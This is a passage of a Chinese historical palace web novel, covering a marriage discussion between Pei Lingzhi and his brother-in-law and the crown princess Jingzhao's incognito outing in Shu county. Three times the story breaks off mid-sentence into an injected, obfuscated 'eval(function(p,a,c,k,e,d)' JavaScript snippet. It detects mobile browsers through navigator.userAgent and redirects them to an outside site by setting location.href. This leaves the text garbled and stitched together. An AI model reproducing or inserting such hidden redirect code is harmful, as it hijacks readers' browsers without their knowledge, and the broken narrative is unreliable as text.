也就是裴令之鲜少见外人，否则神仙姿、燕鹤骨这样的称谓宣扬出去，沈允自己就要先羞愧而死。 ——除了裴令之，南方九州，哪还有第二个人配得上如此盛誉。 杨桢正不着边际地想着，裴令之清越的声音已然再度响起：“阿姐小字，岂能在外人面前随意出口。” 他用一种隐含批评的目光看着杨桢：“虽说不当拘泥小节，但你言语着实不妥。” 一见面就被责怪的杨桢：“……我们夫妻感情好！我看这个小字给你才是恰如其分！” 18.下江南（四） “三娘从思，四娘从妍，皆倾心于你，你意下如何？” 裴令之端坐席间，闻言眼也不抬，平静说道：“女儿家最重名誉，不要玩笑。” 杨桢气得抄起香勺，往香炉中猛加一勺香料：“我拿自己妹妹和你开什么玩笑，从思从妍正值韶华，颜貌过人，教养端方，素有才名，难道不堪与你相配？” 裴令之四平八稳地道：“久闻世妹声名，自然堪配。” 杨桢又道：“江宁裴氏，竟陵杨氏，齐名已久，频结婚姻，难道不配？” 裴令之仍旧平稳地道：“自然堪配。” 杨桢追问道：“既然如此，为何不应？” 裴令之微露无奈之色：“姐夫。” 他一句姐夫出口，杨桢顿时露出洋洋得意的表情。 裴令之只当没有看见：“世妹们很好，是我无心婚姻。” 杨桢仔细看着他，半晌，奇道：“你真心如此作想？” 裴令之正色说道：“自然。” “为什么？”杨桢不解，又谆谆道，“人少则慕父母，知色则慕少艾，有妻子则慕妻子，这是圣贤教诲、人伦天性，你不要因为抗拒家族安排，便连自己的本性也要抹杀违拗。” 他以自己举例：“我十六岁那年，在波心湖畔再次见到阿菟。” 说到这里，杨桢先看了看，确定旁边没有近侍，不至于招致裴令之不满的目光，才接着道：“便钟情于心，连夜纵马疾行赶回家中，请求父母为我上门求亲。” 他陶醉地吟咏：“秀色掩今古，荷花羞玉颜。我认定今生再不会找到比她更为灵慧美好的女子了，父母为我提亲前，我日夜辗转反侧，担忧有人抢先求娶；父母为我提亲时，我又起坐不能安，担忧阿菟拒绝。那种一见钟情、念念不忘的心动，辗转反侧、冰炭置肠的忧急，你居然从来没有半点体会吗？” 裴令之默默看着他，像看到了什么癫狂的东西。 “你服食五石散了？” 杨桢骤然睁开眼，嫌恶道：“我怎么会吃那种东西！” 裴令之说：“你想错了，我并非刻意违拗自己的天性，无论何时，我行事只与自己心意有关，外物不能更改我的决定。” 杨桢仔细打量裴令之的神情，似是不能相信居然有人不会为他和阿菟的深情所感动，而且这个人还是他的小舅子。 半晌，他说：“好吧，看来你这个人突然变得无趣了。” 裴令之平静道：“有没有可能，不是我无趣，而是我对什么人说什么话。” “……” 杨桢语塞片刻：“你怎么攻击我。” “好吧。”他正色道，“你以为我愿意说这些无趣的话题吗？你应该知道，族中多次传信急召你回去，为的是九月皇太女护送孝慈皇后归葬昙陵一事。” 孝慈是礼部为太后议的谥号之一，由皇帝亲笔圈定。 裴令之平静颔首，显然早已知情。 “皇太女今年十七岁，正妃空悬，现在东宫中只有储嫔穆氏，还是女子，从前一直没有传出拟定正妃的风声，而今孝慈皇后丧期未过，在此期间更不会定下正妃。” “过去么，咱们南方虽然有意争取，但圣上态度模糊，北方新贵坐大，赢面有限。可现在孝慈皇后归葬昙陵，说明圣上对南方情分仍存。” “我不瞒你，我们族中已经开始挑选年轻子弟了，既贵精也贵多，到时候全都塞到江宁去——但胜算不大。”杨桢神情严峻道，“因为有你。” “王三论门第，仍然略逊一筹；沈允虽未议亲，却已经有了几房姬妾，如果抓住此处做文章，也非无懈可击。” 杨桢看着裴令之：“说实话，我看你这么不愿回江宁，心中其实松了口气。” “阿菟让我带话给你——她身为阿姐，并不愿让你伴君如伴虎，如履薄冰侍奉君上，但终究还是要看你的心意。如果你愿意，那就竭力一试；如果不愿，那就尽快议定婚事。” 转述完妻子的交代，杨桢道：“我觉得对你来说，不必‘竭力’，不过阿菟说的有道理，如果你不愿争取，又不想留下把柄，最好的办法就是尽快成婚，否则族中那一关，你决计过不去。” 裴令之扬起眉梢，狐疑道：“你还想说什么，为什么不说完？” 杨桢吞吞吐吐：“啊，其实还有一点，就是如果你不想争取，又不想成婚，说不定会面临一个难堪的局面。” “你说。” “就是……万一皇太女觉得你还不错，但是由于你没有争取，导致正妃之位花落别家，而给你一个嫔位……不管接旨还是抗旨，都会很麻烦也很难堪。” 裴令之眨了眨眼：“第一，我不是狐狸精，没有摄人心魄的本领，未必能入皇太女的眼；第二，皇太女奉旨送祖母归葬，不是来选妃的，你们未免低估了东宫的道德水平。” 杨桢微妙地扬起眉：“那你可真是既不了解自己，又不了解东宫。” 后半句大逆不道的‘当储君的人会有什么道德’被他吞了下去，转手拿起一面镜子递给裴令之：“来，没事照一照。” “……” 裴令之若有所思：“哪有那么麻烦。” 这次换成杨桢露出狐疑的表情。 按照杨桢的经验，每当裴令之神情若有所思，都有人要倒霉了。 杨桢逼问：“你在想什么？” 裴令之继续若有所思，随口半带好奇半是敷衍：“你们挑选子弟的标准是什么？” 杨桢说：“总体来说，是以容貌、性情、才学、品德、名声为标准，依次一一考量。” “容貌和性情排在最前面？” 杨桢面色深沉地看着裴令之，用一句圣人教诲回答了他的问题：“噫！吾未见好德如好色者也！” “……” . 伴随着午后一同降临的，是一场突如其来的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还有。”苏惠补充道，“城外弘信寺，即将举行为期三日的讲经活动，由住持圆成亲自出面讲经弘法，免费提供素斋。” “圆成很有名气吗？”景昭问。 她这句话是真心发问，过去数年间，父皇为了替母亲祈福，曾经多次下诏召集南北高僧道长入京。其中部分人因精通典籍，又会说话，就被留在了京中佛寺道观，就譬如紫云观清虚道人，以及法盛寺的法缘住持，可谓一步登天。 苏惠说：“小人孤陋寡闻，从前不曾听过，不过在庐江等郡似乎有些名气，很受褒扬。” 景昭点了点头：“继续说。” 苏惠特意提及，肯定不是为了劝她们去混一顿素斋，必然有其他发现。 果然，只听苏惠接着道：“弘信寺此次开坛讲经，似乎是为了破除附近县城一些不太正经的信仰。” “淫祀？” “用淫祀形容，似乎有些严重，现在还只是小打小闹。但长此以往发展下去，就很难说了。” 苏惠停顿一下：“‘淫祀’祭拜的对象，是近几年才兴起的，叫做狐姬——不是史书上的晋文公之母狐夫人——据民间传言，是个法力无边的狐狸精。” 19.下江南（五） “法力无边。”穆嫔挑挑拣拣，从妆匣中挑出一只螺子黛，“的狐狸精。” “这都是什么事呀。”穆嫔一边试色一边说，“哪里有拜狐狸精的，狐狸精能保佑什么，容颜常驻还是郎心不变。拜个山精野怪，传出去丢也丢死人了。” 景昭好笑道：“拜山精野怪并不奇怪，历来许多民间淫祀，祭祀的都是妖鬼之流。靖州郁林郡多蛇，民间有蛇妖食人的传说，当地祭祀玉京仙人以求平安；南乡县百姓恐惧山魈，为其立庙设祭。人是很奇怪的，有时越是恐惧厌恶，反而越是谦卑服从。” 穆嫔还真不了解这些。 她出身穆氏，世家高高在上目无下尘，看不上也不会放下身段祭祀民间妖鬼。更何况世家大多以经术传家，世代研习圣人典籍，敬鬼神而远之，族中子弟轻易不会叩拜神鬼之流。 见穆嫔发怔，景昭并不调侃她见识短，只道：“我小时候也没有听说过——长年养在高墙大院里，淫祀又是犯忌讳的东西，没人会刻意往上面捅。后来父亲命我去刑部学习，那里存着一墙的案卷，都是淫祀引发的祸端。” 既然已经说起，景昭索性接着说下去：“淫祀一般分两种，第一种是民间自发的祭祀，多半是出于有所求或是有所惧——譬如郁林郡蛇祸成灾，当地百姓恐惧蛇祸伤人，反而叩拜不休，祈求平安；第二种则是有人蓄意引导，营造崇拜，从中谋取利益，往往与邪\派无异——你知道应天教的‘桃花娘娘’吗？” 穆嫔啊了一声：“是晋朝年间的桃花娘娘？” 景昭颔首：“没错，晋朝光德二年，兖州兴起了一个叫‘应天教’的邪派，首领自号桃花娘娘，相传桃花娘娘乃天上百花仙子临凡，手持仙器桃花净瓶，其中盛放的瑶池仙露能使百花盛开、阴阳颠倒，只需一滴便能生死人肉白骨，当地信徒无数。” 于是在光德三年冬，‘桃花娘娘’带着应天教三千信徒，造反了。 这场叛乱只持续了两个月，以攻打兖州州府为始，以应天教全体头目的脑袋挂上城门为终，距今足有四百多年，本该成为史书上毫不起眼的清淡一笔。 然而景昭一提，穆嫔便想了起来，即使她对晋朝史书并不十分熟悉。 因为平叛过程中，发生了一点意外的插曲。 官兵围剿时，部分应天教信徒慌不择路，护着‘桃花娘娘’为首的应天教高层，逃入了一处依山别业。这里地势险要，官兵无法强攻，围困别业长达一个月，将本应一个月就完成的平叛行动拖到了两个月。 别业中缺少食物，应天教断粮许久，不得不束手就擒。官兵进入别业后，发觉人少了许多，担忧有教主高层信徒悄悄逃走，于是掘地三尺搜查，最终在园中及厅堂地底，发现了许多凝结的血液，以及带着齿痕碎肉的人骨。 “对于第一种情况，朝廷应该以规劝教化为主，不问是非一律强行扫平禁止，反而会激起民怨；但对于第二种情况，淫祀往往只是他们披着的伪装，背后真正目的意在叛乱。从桃花娘娘再往前追溯，天合军、白衣仙、乃至汉末的大贤良师，都是现成的例子。” “至于这里的狐姬到底是何底细，我们今日先去了解一下。” 话未说完，穆嫔听得入神，手腕一歪，半盒妆粉泼洒出来。 “咳咳咳咳咳！” 妆粉化作烟雾，马车内弥散开来，二人各自掩面呛咳不休。穆嫔掩着口鼻，连忙抓起帕子，替景昭扫去衣襟的妆粉：“啊，姐姐快换身衣裳，小心别蹭花了妆！” 话题至此结束，景昭和穆嫔相继换好衣裳，补好妆容。 以色泽偏暗的妆粉遮住白皙面容，再改换眉形，掩饰眉眼，换上平庸的衣裳，最后连帷帽都换成了便宜货——边缘垂下灰扑扑的粗纱。 如此一番施为，就是天仙临凡也要黯然失色，虽然还能看出五官底子秀丽好看，却只能说是寻常好看，至少出现在舒县街头，不显得极为突兀。 马车停在路口，二人下了马车。 驾车的苏惠略带忧心地唤了声小姐，但看见景昭不容置疑的目光，还是驾着车走了。 一路上，苏惠随行时，穆嫔看着他圆圆的、喜气洋洋的脸，常常忘记这是个皇帝派来随身护卫景昭的高手。然而此刻苏惠离去，穆嫔忽然觉得心底一慌，好像长久以来的底气突然就没有了。 她有些不安，本能地往景昭身边依靠过去。 似是察觉到穆嫔心中不安，一只纤细微冷的手搭上了穆嫔的小臂，轻轻牵住。 那是景昭的手。 皇太女向来以谦和温文著称，和皇帝的强势冷酷截然不同。或许是为了消解百官对于女性储君的本能抵触，景昭很少表现出异常冷硬强势的态度。 此刻也是一样。 景昭的动作温和，并不强硬。但奇异的是，刹那间穆嫔有些慌乱的心立刻平定下来，仿佛她正身处于一堵无形的、坚不可摧的堡垒深处，只要景昭还牵着她的手，那么任何人都无法越过皇太女这道坚不可摧的屏障触伤到她。 她比景昭矮上将近一寸，此刻下意识抬眼，偏头悄悄注视着景昭的侧面。 刹那间穆嫔好像回到了建元七年那个秋天，她狼狈不堪地跪在秋风里，全身瑟瑟发抖，不知是因为恐惧气愤还是寒冷。 冰冷坚硬的青砖沉甸甸硌在膝头，冷意仿佛要渗入骨头缝里。穆芳时低着头，袖底手指冰冷毫无温度，近乎空白地盯着眼前地砖的缝隙，等待上方宣判自己的命运。 然后她听见高处传来一个缥缈清淡的声音。 皇太女说：“本宫正缺一个侍奉起居的人，既然是穆家的女儿，送进东宫来吧。” 周围一瞬间嘈杂起来，似乎有人惊愕，有人讶然，有人慌乱，有人劝谏。 然而穆嫔已经听不清那些声音了。 她心神忽而一松，像溺水的人抓到了救命的稻草。下一刻她的额头重重磕在青砖上，剧痛传来，可能是出血了。 但穆嫔顾不上爱惜自己这张过去精心养护的脸。 她拼命磕头谢恩，生怕慢上半分，皇太女改变主意。 情况再坏又能怎样？哪怕进了东宫要挨打、挨鞭子抽，也是一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不该，也没有必要把精力花在苏惠身上，那等于和自己的父亲斗智斗勇，全然与最初的目的背道而驰。 收回思绪，景昭带着穆嫔，步入眼前这条街。 舒县的基本格局是东贵北富，南穷西杂。‘西杂’是指城西多集散市场，鱼龙混杂，三教九流什么生意都有，常有四面八方的客商出没。 眼前是城西最繁华的街道，叫做马市街。 顾名思义，这条街最初以贩马闻名。 自从齐朝末年动乱之后，南方丧失良马供应，大楚立国后，由于朝廷全部心力用在遏制北方荆狄，马匹被列入武备，受朝廷严格管控，几乎全部供应北方边军，禁止私自贩运。 南方九州没有良好的马场，于是直到今日，南方九州仍然极缺良马。 如今，马市街虽然以马市为名，却名不副实。 这条街上，除了马，什么都卖。 20.下江南（六） 沿着马市街一路向内，道路两旁店铺鳞次栉比，阶下又有许多三三两两的摊贩，人声喧闹，此起彼伏。 此时已近五月中旬，舒县天气炎热，纷杂人流间，各色气味混在一处，显得异常浑浊难闻。 穆嫔跟随景昭穿行在人流中，难以忍受浑浊的气息与时不时擦碰而过的路人，只能将帷帽垂纱放下，紧紧挽住景昭小臂，乳燕投林般依偎在景昭身侧。 令穆嫔惊奇的是，面对前所未见的混乱环境，景昭神色居然分毫未改。 要知道，景昭生来贵为郡主，此后命途几番跌宕，不止一次面临刀尖悬命、生死旦夕的险境。但哪怕到了最危险的时刻，即使柔妃重病濒死，再无力保护女儿，景昭所要担忧的也只是从锦衣玉食的柔仪殿皇女，直接沦落到烈犬分食、骏马分尸的死无葬身之地。 换句话说，她的处境只可能在最尊贵和最惨烈之间更迭，根本没有不上不下的可能性。 从某种意义上来说，这也是一种极为‘纯净’的生活环境。要么生活在高高在上、不沾凡尘的云端，要么一步坠入最深的炼狱。 这种鱼龙混杂的地方，景昭不该也不可能见过。 景昭也确实没有来过这样的地方。 但她的神情非常平静，唇角似乎还衔着笑意，目光漫不经心又无比认真地扫过街巷间每一处角落。 喧嚷拥挤的人流、来来往往的货物，路旁提着篮子兜售鲜花的少女，奔跑打闹的孩童。 非常陌生，也非常真实。 “女郎！” 颤抖生涩的呼唤声传来，那提着篮子向过往行人兜售鲜花的少女站在石阶下，有些紧张地看过来：“女……女郎，买朵簪花呀！” 女郎、姑娘都是南北方对妙龄少女的称呼，较为普遍。不过景昭鲜少听到别人这样称呼自己，乍一听险些没反应过来。 “我？” 那少女不知是生疏还是羞涩，微黑的小脸上渗出薄汗：“嗯，两位女郎长得好看，簪朵花吧，三文钱一朵，都是清晨摘的。” 景昭问：“你还有多少？” 少女愣住，下意识道：“七八朵……” 她话音未落，景昭反手挽紧穆嫔，另一只手凌空探出。 咔嚓！ 骨骼错位摩擦，惨叫平地暴起。 ——景昭右手探出，既快又准，平平按住了一只还没来得及收回的手，旋即指尖微错用力拧转，刹那间骨节咔嚓作响，惨叫声简直贴着景昭肩头炸开，分外尖锐刺耳。 景昭眉头微蹙，反手一拨，四两拨千斤地将那只手的主人重重搡开，顺手从那只垂落的手中取回了一只花色熟悉的织锦荷包。 咣当！ 那人立足不稳栽倒在地，激起一片尘土，往来人群有片刻的凝滞，旋即穆嫔后知后觉的叫声响起：“有贼！” 人潮凝滞片刻，数道好奇的目光投来，但很快被淹没在更多习以为常的麻木神情中。 停滞的人流继续前行，不知哪个角落里传来窃笑私语。 那贼是个身量中等，矮且敦实面目寻常的中年男人。痛叫着从尘土里爬起来，左手小心翼翼托着没骨头般垂落下去的右手，带着愤恨怒视景昭。 穆嫔本能地脱口而出：“大胆贼子，我要报官！” 这句话其实是非常可笑的，马市街鱼龙混杂，偷抢拐骗简直是最不起眼的小小插曲，要指望报官就能扫平这些牛鬼蛇神，堪称天方夜谭。 暗处传来的窃笑声更大了。 然而景昭没有笑，那贼也没有笑。 非但如此，他愤恨与怨毒的神情反而渐渐消泯了，取而代之的是一种狐疑审视的目光。 他的眼神飘忽，先从景昭身上飘到头戴帷帽的穆嫔身上，片刻间又飘走，挪回来看向景昭。 景昭正气定神闲地看着他。 那贼忽然躬身，朝景昭鞠了一躬，迅速向后退走，见无人阻拦，速度骤然加快，消失在人群里。 景昭察觉到穆嫔牵着自己的手紧了紧，安抚地拍拍她：“没事，人走了。” “走，走了？” 就这么走了？ 穆嫔还没反应过来，景昭低头看了眼那只失而复得的荷包，冲着那名不知何时躲到了一家店铺檐下的卖花少女招招手。 卖花少女愣了愣，犹疑地走上前：“女郎？” 景昭温声道：“多谢你呀。” 卖花少女惊讶地笑了笑：“您看出来了？” “嗯。”景昭微笑道，“你害怕那个贼，又想提醒我，所以刻意招呼我是不是？” “马三是这条街上的老人了，很吃得开。”卖花少女在裙子上蹭了蹭沾着灰尘的手，“我是个女孩儿，怕吃亏，爹娘常说多一事不如少一事……没想到女郎你身手好，马三不敢惹，这才跑了。” 景昭低头看了看她的花。 还有七朵花，此时日头升高，这些花朵躺在篮子里，显得有些蔫。 景昭从那只被贼盯上的荷包里取出一小块银锭，放进她的篮子里。 “我，我找不开的。” “不用找。”景昭和气地道，“我们姐妹第一次来这里玩儿，你带我们走走就好。” 卖花少女叫做杏花，今年十五岁，城西本地人，父母都是老实勤恳的平头百姓，外祖家传下来种花的手艺，自幼就提着篮子在城西几条街边卖花。 听了杏花的自我介绍，景昭并没有露出什么别样的神色，反而穆嫔眉头轻皱欲言又止，轻扯景昭衣袖示意。 景昭反手在穆嫔手背上安抚地一拍，信口问了杏花几个问题，诸如米面菜蔬物价如何，鸡鱼肉蛋是否常吃。 杏花显然是帮家里跑腿操持惯了，一五一十地答出来，还能说出许多与之相关的信息。 见景昭说话和气，听得认真，杏花的拘谨也渐渐散了，笑着问：“女郎，你们二位不是庐江人吧。” 景昭道：“你看我们像哪里的人？” 杏花犹豫一下：“是北方么？” “何以见得？” 杏花扳着手指，一一细数：“女郎生的好看，穿的又好，家里肯定有钱，我们南边有钱人家的小姐金贵着呢，才不会抛头露面往城西来，不过听说北边女郎地位高，能自由出外走动，还能做官，我以前见过一两个跟着家里南下做生意的北方女郎；你们说话的声音语调不一样，像是官老爷说的官话；还有啊，你们的衣裳看着像是北服。” 早在建元元年，册立皇太女时，礼部就奉命在原有的皇太子冕服基础上加以修改，制定皇太女全套礼服、朝服、冠冕。 建元二年，大楚设萃英司，北方十二州开始招收女官，礼部又奉命在朝服的基础上，结合部分女子服饰的特征，制定女官朝服规范。 上行下效，许多高门女眷艳羡，虽不能仿制官服，却可以修改原本流行的衣裙，使其如朝服般兼具庄严与流畅、雍容与华美的特点，一时间蔚然成风。 这种改良后的衣裙制式，由于起源自女官官服，北方称之为‘馆阁服’，南方则称之为‘北服’。 “成衣店买的。”穆嫔说，“我看你们这里的成衣店，也有北服啊。” 杏花说：“只是穿北服看不出什么，但再加上前两条……而且，我直觉女郎不像是本地人。” “也是。”穆嫔道，“想不到你眼力这么好。” 说完这句话，她又缩回景昭另一侧，继续牢牢挽着景昭的手。 杏花羞涩地一笑。 “女郎既然不是本地人，最好不要自己来马市街，这里人多，也杂，人生地不熟的漂亮女郎会很危险，就算女郎有些功夫，可是双拳难敌四手。” 景昭嗯了声，半真半假说道：“我们姐妹难得甩开侍从出来一次，这里有什么好玩的吗，譬如好马？” “好马没有。”杏花笑起来，“不过女郎问我算是问对了，我五岁就在这里卖花，特别熟悉——” 日头升至高处，熙攘人流中，那挎着篮子的娇小少女，连说带笑不断比划，领着另两名女郎游鱼般穿梭来去，走入一家又一家店铺中。 道旁、转角、阶下，人流最多也最繁忙的角落里，有几双眼睛正在暗处闪烁，悄无声息地追随三名少女的背影。 走出玉石铺子的店门，景昭袖中多了一包玉石散珠，品相不佳，胜在颜色花里胡哨颇为有趣。 她指尖拈着一颗青红两色的珠子，左边穆嫔悄声说回去拿散珠给她打个络子，右边杏花指着南边说那里有家香料铺子实惠。 耳边叽叽喳喳，像是十二只鹦鹉同时学话。 景昭耐心听着，忽而回眸，目光一掠而过。 分明隔着整条街道，人来人往纷繁如织，然而那眼风扫过这个方向时，隐藏在暗影里的中年人浑身突然一震，仿佛有森寒冰冷的利刃贴着面颊刮了过去。 “弘信寺？去那里准没错，大师解签很灵，而且素斋做的好吃。”杏花想了想，“对了，明日弘信寺的大师们要讲经，连讲三天，女郎你们正好可以过去求个平安符，然后吃顿素斋。” 景昭说：“对了，佛诞日不是过了么，最近没有大日子，为何这时开坛讲经？我们姐妹想过去听经，命家仆出去打听了一下，听说是为了……” 她看向穆嫔，穆嫔立刻会意道：“说是因为什么‘狐姬’？” “……狐姬？”杏花换了只手提篮子，轻快地跳下石阶，“哦，狐狸娘娘啊。” 穆嫔问：“狐狸娘娘是何方神圣？” “我小时候就听说无相山上有狐狸，听老人说，那些狐狸不是山野常见的白狐，而是赤狐，很有神异之处。” 杏花抬手往东一指。 天空碧蓝如洗，几行飞鸟掠过天际，带起丝缕云絮，下方天际隐约可见山势连绵，延伸向无垠的远处。 无相山。 这座山位于舒县东部，山脉绵延十余里，以风景优美，连绵秀丽著称。 其中，无相山最高的鹤归峰，江流婉转峰峦接天，是南方诸多文人墨客流连忘返的风景胜地。几十年前江宁景氏便在鹤归峰下修筑了大名鼎鼎的仰泽园，当今皇帝尚未北上迎娶长乐公主时，亦曾在仰泽园中长住，并写下了大名鼎鼎的《咏鹤赋》。 “据说那些赤狐有灵性、通人语，如果遇见它们，千万不能上前打扰，而应虔诚叩拜离去，心诚则灵，如果赤狐感受到善意，可能会赐福于人，老人们管赤狐叫做‘狐狸娘娘’。” 穆嫔：“……” “空穴来风未必无因，这种说法从何而来？”景昭道，“难道真有人曾经打动狐姬，得到赐福吗？” 杏花被难住了，愣愣摇头：“传说好像是有过，但时间太久，我记不得了。” “对了。”她忽然道，“我想起来了，狐狸娘娘的故事是小时候老人讲的，不过起初没多少人相信，只当是逗小孩玩的。直到前些年，有人深夜在山里听到了狐狸叫声，还看见了一闪而过的火红赤狐！” “后来接连又有人在山里看见赤狐，有些人想起老人讲过的故事，虔诚叩拜狐狸娘娘，结果捡到了狐狸娘娘赐下的金银；有些人怀有歹意，想要抓住狐狸娘娘，就会遭报应，摔得头破血流奄奄一息。” “还不止平常人。”杏花加重语气，“前两年听说有位贵公子深夜出门，也碰见了狐狸娘娘，还写了篇文章，当时陆陆续续来了好多人，到无相山上游山玩水，可能也是为了见一见传说中的狐狸娘娘。‘狐姬’这个称呼，就是那时传开的。” “狐狸娘娘香火越来越旺盛，还有信徒修了座小庙。起初都去求狐狸娘娘保佑时来运转、财运发达，后来又有年轻人去求姻缘，反正现在求什么的都有。” 穆嫔问：“那怎么又和弘信寺扯上关系了？” 杏花说：“今年城郊官道上死了几个人，可能是因为官道离无相山近，不知怎么的，就传说是狐狸杀人，虔信狐狸娘娘的信徒听了大怒，纠集好多人打架，打出人命了。 “官府大怒，抓了带头打架的人，可是案子迟迟没破，反而又陆续死了几个，闹得人心也慌了，其中有一个还是豪门家仆，可能是因为这个，惊动了弘信寺的大师。” 穆嫔听得入神，追问：“就因为官道离无相山近，所以就说是狐狸杀人，这不合理吧，死因到底是什么？相继死了好几个人，其中有一个豪门家仆，那其余死者是什么身份？弘信寺是自发开坛讲经辟除谣言，还是受郡县长官托付？” 杏花一脸茫然地看着她，显然一个问题也答不上来。 景昭道：“杏花姑娘，你信狐姬吗？” 这么一打岔，杏花总算能回答了：“我去给狐狸娘娘上过香，也求过心愿。可若真是逢年过节拜佛，还是跟着家里去弘信寺找大师——说信吧，我也是随大流；说不信吧，又怕狐狸娘娘听了不高兴。” 景昭失笑。 杏花有些不好意思，抬手扇了扇风，笑道：“这会热起来了，两位女郎，我带你们去吃个甜汤吧，就在那边——不是老字号，不过也开了许多年，你们别嫌弃，我今日白得了你们的银子，请你们吃两碗甜汤。” 景昭唔了一声。 杏花顿时高兴起来，像只活泼小鹿，轻捷地跳下石阶：“这边这边。” 她走了两步，却发觉景昭与穆嫔没有跟上来，不解地站定脚步回过头：“女郎？” 东西为路，南北为街。 景昭与穆嫔自马市街北街口进入，一路向南，她们走得并不快，又与杏花在周围铺子里来回打转，所以消磨的时间虽长，实际上却并没有深入太多。 景昭仍然站在道旁的石阶上。 她居高临下看着杏花，唇角微弯，眉眼微弯。 “杏花姑娘。”她和气地道，“到此为止吧。” 杏花微黑的小脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14919617|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，浮现出困惑：“什么？” 景昭眉梢扬起，平静道：“接下来的路，我就不敢再跟你走了。” “你说是吧，杏花姑娘。或者这不是你的名字，那应该怎么称呼你？” ——“马三的头目？” 杏花睁着圆圆的眼睛，茫然看来：“女郎，你在说什么？” 景昭道：“你不明白吗？” 话音未落，她的指尖轻轻一弹。 一枚青红二色玉石小珠，从她指尖破空而去，如同离弦箭羽，直射杏花左眼。 这记突袭并不认真，只是信手而来，但力道速度丝毫不弱，若是击中，杏花的左眼立刻就要废了。 这少女面上笑容骤然收敛，她反应还算快，当即身子往下一沉，玉石小珠擦着她的鬓发飞过，压出一道深痕，顷刻间无影无踪。 杏花抬手一摸发顶，摸到玉石珠掠过发顶擦出的压痕，猛地纵跃而起，尖叫一声。 那声不似恐惧，更似愤怒。 场间为之一寂。 下一刻，纷乱脚步四面八方响起，穆嫔环顾四周，骇然发现墙角、巷口、棚边各处，涌出数个手持棍棒长刀的男女，杀气腾腾合围而来。 面对这突如其来的变故，马市街突然展现出自成一体的特色——街上往来的行人迅速往街道另一边挤去，避开此处手持武器、来者不善的凶徒。 然而没有人惊慌失措——至少绝大部分人没有，他们好似早已习惯了这种突如其来的凶残场面，非但没有人报官逃跑，就连惊叫也只有短促的几声，很快消泯， 穆嫔完全懵了。 她下意识想要尖叫，然而叫声涌到喉间，仿佛有一种力量捂住了她的嘴，使得她硬生生将尖叫咽了回去。 ——不能失态！ 她恍惚想着：“我是东宫储嫔，一举一动内外瞩目，这种时候失态，岂不是给东宫丢脸。” 穆嫔死死咬住牙关，像以往呵斥犯错的内宫宫官一样：“你们想干什么！放肆！” 尽管尾音略带颤抖，但这一丝颤抖被周围的嘈杂吞没了，只有她声色俱厉的呵斥飘散开来。 景昭有些意外，轻拍穆嫔的手背以示安抚，同时目光不动声色地一扫，掠过这群不成气候的乌合之众，心中大概有了计较。 “这里是马市街，真当是你们这些大家闺秀的后花园了？” 杏花脸上那种天真之色消失殆尽，她冷冷讽笑：“来这里惹事，你就算是条强龙，也得给拔了鳞片爪子——说吧，你们是怎么看出来的？” 这等市井凶徒的话，景昭多答一句都是自降身份。 然而穆嫔被她大不敬的态度激怒了：“你全身上下都是破绽，也只有你们没见识，才觉得天衣无缝。告诉你，要想骗人，只带着嘴出门是不行的，还得带上脑子！” 杏花怒极反笑：“给你脸了，小婊/子。等着，看看你们姐妹俩一起进窑子接客的时候，嘴还硬不硬。” 穆嫔此生没被人骂过这么难听的话，当场愣住，气的手都在抖，然而受限于学识教养，实在无法回以更有力的还击。 景昭面色终于沉了下来。 “别怕。”她轻声道，“到我身后来。” 袖底那包玉石散珠无声无息滑入掌心，景昭目光最后一转，算准了这群凶徒方位，右手五指微动，珠子扣在指间，便要分打众人—— “啊！” 远处惊叫喧嚣骤然暴起，打断了此处的僵持。穆嫔转头望去，只见远处人群拥挤推搡，惊惶四散，似是躲避，又似逃亡。 “怎么回事！” 场中凶徒注意力十分涣散，同时转头张望，刹那间唯有景昭头也不回，一把玉石珠子挥袖散出，与此同时揽住穆嫔，向后急退，撞入了一家店铺之中。 阶下发出惨呼，不知是哪个倒霉凶徒被珠子打中了眼，滚倒在地拼命惨叫。 变故只在兔起鹘落之间，景昭动作快如闪电，直到挟着店内惊叫撞入门内站稳身形，穆嫔尚未回神，只注意到那些凶徒目露凶光举起刀，仓促喊出一声：“姐姐小心！” 然而此刻外面的凶徒来不及追进来了。 惨叫声、推挤声、哭喊声此起彼伏，如同浪潮般席卷而来，急促逼近。 与之相伴的是无数急促凌乱的马蹄声。 有如擂鼓，无比响亮，刹那间仿佛地动，在极致的混乱中，风卷残云掠过这条人来人往的长街。 景昭目光瞬间凝住，三步并作两步冲向店门。 无数黑压压的人头推挤汹涌，慌不择路涌向道旁，跌倒的人就像落入大海的石子，迅速被波涛吞没。 “救命，救命——”“我的孩子！”“快关上门，快关上门！” 在这无比混乱的惨剧中，街道正中，数匹骏马疾驰而过，伴随着欢畅至极的大笑声，构成了这幅荒诞画面中唯一的喜色。 “是王家的人……”有人颤声道，“是王家的贵人，那位贵人往日服了五石散，便会长街纵马……可是那样的贵人，怎么会跑到这里来？” 可是那样的贵人，怎么会跑到这里来？ 这里是混乱的城西，人流如织摩肩接踵，贵人们突如其来的一场纵马，引起的何止骚动与恐慌？ 一双手从身后抱住景昭。 是穆嫔。 “不要出去，殿……姐姐。”穆嫔颤声道，“太危险了！” 仿佛冰水当头浇下，五脏六腑涌动的热血都随之冷却。 景昭轻声说：“……我知道。” 即使穆嫔不抱住她，她此刻也会恢复理智。 不能出去。 